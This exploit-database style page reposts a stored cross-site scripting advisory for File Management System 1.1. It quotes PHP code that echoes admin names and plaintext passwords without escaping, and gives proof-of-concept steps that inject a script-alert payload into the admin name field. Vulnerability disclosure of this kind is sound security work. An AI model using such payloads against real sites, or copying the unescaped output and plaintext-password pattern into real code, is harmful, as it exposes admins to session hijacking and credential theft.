File management system 1.1 persistent crosssite scripting Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-07-06 | Type : webapps | Platform : php
This exploit / vulnerability File management system 1.1 persistent crosssite scripting is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: File Management System 1.1 - Persistent Cross-Site Scripting
# Date: 2020-06-30
# Exploit Author: KeopssGroup0day,Inc
# Vendor Homepage: https://www.sourcecodester.com/download-code?nid=13333&title=File+Management+System+Very+Complete+Using+PHP%2FMySQLi+version+1.1
# Software Link: https://www.sourcecodester.com/download-code?nid=13333&title=File+Management+System+Very+Complete+Using+PHP%2FMySQLi+version+1.1
# Version: 0.1.0
# Tested on: Kali Linux

Source code(view_admin.php.php):
<?php
require_once("include/connection.php");
$query="SELECT * FROM admin_login";
$result=mysqli_query($conn,$query);
while($rs=mysqli_fetch_array($result)){
$id = $rs['id'];
$fname=$rs['name'];
$admin=$rs['admin_user'];
$pass=$rs['admin_password'];
$status=$rs['admin_status'];
?>
<tr>
<td width='10%'><?php echo $fname; ?></td>
<td align='center'><?php echo $admin; ?></td>
<td align='center' width="20%"><?php echo $pass; ?></td>
<td align='center'><?php echo $status; ?></td>
<td align='center'><a href="#modalRegisterFormsss?id=<?php echo
$id;?>">
<i class="fas fa-user-edit" data-toggle="modal"
data-target="#modalRegisterFormsss"></i> </a> | <a
href="delete_admin.php?id=<?php echo htmlentities($rs['id']); ?>"><i
class='far fa-trash-alt'></i></a></td>
</tr>
<?php } ?>

POC:

1. http://192.168.1.58/Private_Dashboard/view_admin.php

2. Add admin click button

3. We write payload in the name section (<script>alert(1);</script>)

4. And view admin click button

5. And our bad payload will be displayed